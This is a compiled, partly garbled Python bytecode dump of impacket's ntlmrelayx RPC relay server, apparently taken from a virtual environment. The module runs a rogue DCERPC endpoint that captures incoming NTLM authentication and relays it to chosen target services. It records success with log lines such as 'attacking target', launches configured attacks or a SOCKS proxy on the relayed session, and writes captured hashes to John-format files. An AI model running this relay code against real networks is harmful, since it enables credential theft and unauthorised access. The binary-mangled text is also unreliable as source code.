o
    j[                     @   s   d dl Z d dlZd dlT d dlT d dlT d dlmZmZmZ d dl	m
Z
mZ d dlmZmZ d dlmZ d dlmZ d dlmZ G d	d
 d
eZdS )    N)*)NTLMSSP_AUTH_NEGOTIATENTLMSSP_AUTH_CHALLENGE_RESPONSENTLMSSP_AUTH_CHALLENGE)outputToJohnFormatwriteJohnOutputToFile)ERROR_MESSAGESSTATUS_SUCCESS)TargetsProcessor)activeConnections)get_addressc                   @   sD   e Zd ZG dd dejejZG dd dejZdd Z	dd Z
d	S )
RPCRelayServerc                   @   s   e Zd Zdd ZdS )zRPCRelayServer.RPCSocketServerc                 C   sF   || _ d| _t|d |d | j j\| _}dtj_tj| || d S )NTr      )	configdaemon_threadsr   ipv6address_familysocketserver	TCPServerallow_reuse_address__init__)selfserver_addressRequestHandlerClassr    r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/rpcrelayserver.pyr   $   s
   z'RPCRelayServer.RPCSocketServer.__init__N)__name__
__module____qualname__r   r   r   r   r   RPCSocketServer#   s    r   c                   @   sn   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dddZdd Zdd Zdd ZdS )zRPCRelayServer.RPCHandlerc                 C   sF   d | _ d | _d | _d | _d | _d | _d | _d | _tj	
| ||| d S )N)clienttarget	auth_user	transportrequest_headerrequest_pdu_datarequest_sec_trailerchallengeMessager   BaseRequestHandlerr   )r   requestclient_addressserverr   r   r   r   ,   s   z"RPCRelayServer.RPCHandler.__init__c                 C   sx   t | j| _d| ji}| jttd| d| ji}| jttd| | j	j
jd u r:td| jd  d| j	j
_d S d S )N   135   zSMB://%s:445/r   )singleTarget)DCERPCServerr)   r#   send_ServerAlive2ResponseaddCallbacksbin_to_uuidtupIID_IObjectExporterhandle_epmapMSRPC_UUID_PORTMAPr+   r   r!   r
   r*   )r   IObjectExporterCallBacksIEPMCallBacksr   r   r   setup7   s   zRPCRelayServer.RPCHandler.setupc                 C   s   t |}t }t }d|d< d|d< t }d|d< d|d< ||d< d	|d
 d }t }t||d< ||d< d|d< |d | |d |d< ||d< |S )Nr   statusr   
num_towerscontext_handle_attributess                       context_handle_uuidentry_handle    	map_towertower_octet_stringtower_lengthr.   
ReferentIDData
max_towersMaximumCountITowers)ept_mapept_mapResponsetwr_p_t_arrayept_lookup_handle_tjointwr_p_tlenappend)r   datar)   resptow_arr
req_handle
resp_towerresp_tower_pr   r   r   r5   G   s$   z&RPCRelayServer.RPCHandler.handle_epmapc           
      C   s   t  }t| jjfg}tdfg}d}|D ]\}}||jddd7 }||dd 7 }q|ddt|d   7 }t||d	 d
< |D ]\}}	||jddd7 }|d7 }||	dd 7 }q@|ddt|d   7 }t||d	 d< ||d	 d< |S )N r?   r   little)	byteorderutf8       ppdsaOrBindingswSecurityOffset   wNumEntriesaStringArray)ServerAlive2ResponseTOWERID_DOD_TCPr!   hostnameRPC_C_AUTHN_WINNTto_bytesencoderN   )
r   r)   responsestringBindingssecurityBindingsarraywTowerIdaNetworkAddr	wAuthnSvc
aPrincNamer   r   r   r1   ]   s"   
z3RPCRelayServer.RPCHandler.send_ServerAlive2Responsec              
   C   s   z+	 | j  }|d u rtd W d S | |}|r+tdt|d    | j | q ty3     tyA   t	d Y d S  t
ya } ztjddd t	d|  W Y d }~d S d }~ww )	NTz"(RPC): Connection closed by clientz (RPC): Sending packet of type %stypez(RPC): Connection reset.z(RPC): Exception:)exc_infoz+(RPC): Exception in RPC request handler: %s)r#   recvLOGdebughandle_single_requestmsrpc_message_typesendKeyboardInterruptConnectionResetErrorerror	Exception)r   rP   rg   er   r   r   handles   s(   


z RPCRelayServer.RPCHandler.handlec                 C   sz  t || _| jd }tdt|   |ttfv r"t| jd | _n|t	kr'n|t
kr1| j|S tdt|   | tS | jd dkr_|tkrUtd | j|S td | tS t| jd	 | _| jd
 }|tkrztd | tS |tkr|t	krtdtd|tks|tkr|ttt	fvrtdt|  |  S |tks|tks|tkrtd| td| )Nro   z!(RPC): Received packet of type %spduDataz3(RPC): Packet type received not supported (yet): %aauth_lenr   z1(RPC): Answering to a BIND without authenticationz<(RPC): Packet is no BIND and does not contain authenticationsec_trailer	auth_typez,(RPC): Packet contains "None" authenticationz-AUTH3 packet contains "SPNEGO" authenticationz$SPNEGO auth_type not implemented yetz,Packet type received not supported (yet): %sz Auth type %s not implemented yetz*Auth type received not supported (yet): %d)MSRPCHeaderr$   rr   rs   ru   
MSRPC_BINDMSRPC_ALTERCTXMSRPCRelayBindr%   MSRPC_AUTH3MSRPC_REQUESTr#   processRequestry   
send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE+MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTHSEC_TRAILERr&   RPC_C_AUTHN_NONERPC_C_AUTHN_GSS_NEGOTIATErz   NotImplementedErrorrd   RPC_C_AUTHN_DEFAULTnegotiate_ntlm_sessionRPC_C_AUTHN_GSS_SCHANNELRPC_C_AUTHN_GSS_KERBEROSRPC_C_AUTHN_NETLOGON)r   rP   req_typer   r   r   r   rt      sB   








z/RPCRelayServer.RPCHandler.handle_single_requestc                 C   s  | j d }td|tdtdd  d }|tkrt }|| | jj	j
jdd| _
| j
d u rl| jj	jrbtd | jj	j
jd	d
 | jj	j
jdd| _
td| jd | j
j| j
jf  ntd | tS td| jd | j
j| j
jf  z| | | jr| jdu rtd| | jW S  ty } z*| j
d u rtd ntd| j
j| j
j | jj	j
| j
 | tW  Y d }~S d }~ww |tkrtd|tkrt }|| |d dkrtd d S z| || | j   |d tj!@ r$td|d "d|d "d| jd | j
j| j
j| jj#f  n td|d "d|d "d| jd | j
j| j
j| jj#f  t$| jd |d |d |d |d }|| jj%d< | jj	j&d urrt'|d |d | jj	j& | jj	j
| j
d	| j( | )  | tW S  ty } zE|d tj!@ rtd| j
j| j
j|d "d|d "df  ntd| j
j| j
j|d "d|d "df  | jj	j
| j
  d }~ww td | )!N	auth_data<LzNTLMSSP    r   F)
multiRelayz>(RPC): No target left: keepRelaying active, reloading targets.T)full_reloadz<(RPC): Received connection from %s, attacking target %s://%sz(RPC): No target leftzClient send negotiated failed.z2(RPC): Negotiating NTLM failed, and no target leftz,(RPC): Negotiating NTLM with %s://%s failed.z)Challenge Message raise, not implemented!	user_namer?   z&(RPC): Empty username ... just waitingflagszK(RPC): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]domain_nameutf-16leascii	challengelanmanntlmJOHN_OUTPUThash_stringhash_versionz5(RPC): Authenticating against %s://%s as %s\%s FAILEDzUnknown NTLMSSP MessageType %d)*r$   structunpackrN   r   r   NTLMAuthNegotiate
fromStringr+   r   r!   	getTargetkeepRelayingrr   inforeloadTargetsr*   schemenetlocr   %MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIEDdo_ntlm_negotiater'   rz   bindry   registerTargetr   r   NTLMAuthChallengeResponsedo_ntlm_authr    setClientIdNTLMSSP_NEGOTIATE_UNICODEdecode	client_idr   sessionData
outputFiler   r"   	do_attack)r   tokenmessageTypenegotiateMessager{   authenticateMessagentlm_hash_datar   r   r   r      s   
$



$

"

	






z0RPCRelayServer.RPCHandler.negotiate_ntlm_sessionc                 C   s   | j j | jjjv r[| jjj| j j  | jj| j | _| j s&td| j	|| _
| jjjrYt| j
d }|tj= | | j
d< t| | j
d< t| | j
d< d S d S td| j j   td| j j  )NzClient connection failed.TargetInfoFieldsTargetInfoFields_lenTargetInfoFields_max_lenz((RPC): Protocol Client for %s not found!z!Protocol Client for %s not found!)r!   r   upperr+   r   protocolClientsr    initConnectionrz   sendNegotiater'   remove_targetr   AV_PAIRSNTLMSSP_AV_HOSTNAMEgetDatarN   rr   ry   )r   r   av_pairsr   r   r   r     s    

z+RPCRelayServer.RPCHandler.do_ntlm_negotiater?   c           
      C   s  t  }| jd |d< | jd |d< d|d< | j std| j D ]N}t|d \}}t }|trH|dkrHt|d< t	t
B |d	< d
|d< n$|d tjkr\t|d< d|d	< d|d< nt|d< |d |d< |d | j_|| q#d|d< t }| jd tkrt|d< n| jd tkrt|d< n	td| jd  | |d< | jd |d< | jd |d< |dkrt }| jd |d< | jd |d< | jd |d< dt| d  d }	|	dkr|d  d|	 7  < |	|d< ||d< ||d< t||d< |S ) N	max_tfrag	max_rfragixV4assoc_groupzBind request with no CTX Item.TransferSyntaxz1.0ResultReasonz                    r[   )z$00000000-0000-0000-0000-000000000000g        AbstractSyntax9999SecondaryAddrro   z(Message type %d is not supported in bindr}   call_idr   r?   r   
auth_levelauth_ctx_idr   r   r^   auth_pad_lenr   r   r~   )MSRPCRelayBindAckr%   getCtxItemsrz   r3   CtxItemResult
startswith*MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIXMSRPC_CONT_RESULT_NEGOTIATE_ACKSMSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASKOMSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASKDCERPCNDR64SyntaxMSRPC_CONT_RESULT_PROV_REJECTMSRPC_CONT_RESULT_ACCEPTr#   
_boundUUID
addCtxItemr   r$   r   MSRPC_BINDACKr   MSRPC_ALTERCTX_Rr   r   r&   rN   
get_packet)
r   r'   bindAckrequestItemsyntaxversionitempacket
secTrailerpadr   r   r   r   /  sX   




zRPCRelayServer.RPCHandler.bindc                 C   sH   t | j }| jd }|tkrt|d< nt|d< |r"td||d< |S )Nro   r   r}   )MSRPCRespHeaderr$   r   r   MSRPC_BINDNAKMSRPC_FAULTpack)r   r:   r   request_typer   r   r   r   m  s   

z$RPCRelayServer.RPCHandler.send_errorc                 C   s   |d t j@ rd|d d|d df  | _nd|d d|d df  | _| j|| jd \}}|tkrT|t	
 v rNtd|t	| f td	| d S )
Nr   z%s/%sr   r   r   r   r   z1NTLM authentication failure, got errorCode %s: %sz5NTLM authentication failure, got unknown errorCode %s)r   r   r   r   r"   r    sendAuthr'   r	   r   keysrz   )r   r   r   clientResponse	errorCoder   r   r   r   x  s"   z&RPCRelayServer.RPCHandler.do_ntlm_authc                 C   s   | j jjr*| jj | j jjjv r*t	| jj
| jj| jj | j| j| jjf d S | jj | j jjv rS| j jj| jj  | j j| jj| j| j| j}|  d S td| jj   d S )Nz"(RPC): No attack configured for %s)r+   r   runSocksr!   r   r   socksServersupportedSchemesr   putrc   r    
targetPortr"   r   attackssessionstartrr   ry   )r   clientThreadr   r   r   r     s   "z#RPCRelayServer.RPCHandler.do_attackN)r?   )r   r   r   r   r9   r5   r1   r|   rt   r   r   r   r   r   r   r   r   r   r   
RPCHandler+   s    2_
>r  c                 C   s    t |  d| _|| _d | _d S )NT)Threadr   daemonr   r+   )r   r   r   r   r   r     s   

zRPCRelayServer.__init__c                 C   sl   t d| jj  | | jj| jjf| j| j| _z| j  W n	 t	y)   Y nw t d | j
  d S )Nz Setting up RPC Server on port %dzShutting down RPC Server)rr   r   r   listeningPortr   interfaceIpr  r+   serve_foreverrw   server_close)r   r   r   r   run  s   
zRPCRelayServer.runN)r   r   r   r   ThreadingMixInr   r   r(   r  r   r  r   r   r   r   r   "   s      vr   )r   r   impacket.dcerpc.v5.epmimpacket.dcerpc.v5.rpcrtimpacket.dcerpc.v5.dcomrtimpacket.ntlmr   r   r   impacket.smbserverr   r   impacket.nt_errorsr   r	   /impacket.examples.ntlmrelayx.utils.targetsutilsr
   0impacket.examples.ntlmrelayx.servers.socksserverr   impacket.examples.utilsr   r  r   r   r   r   r   <module>   s   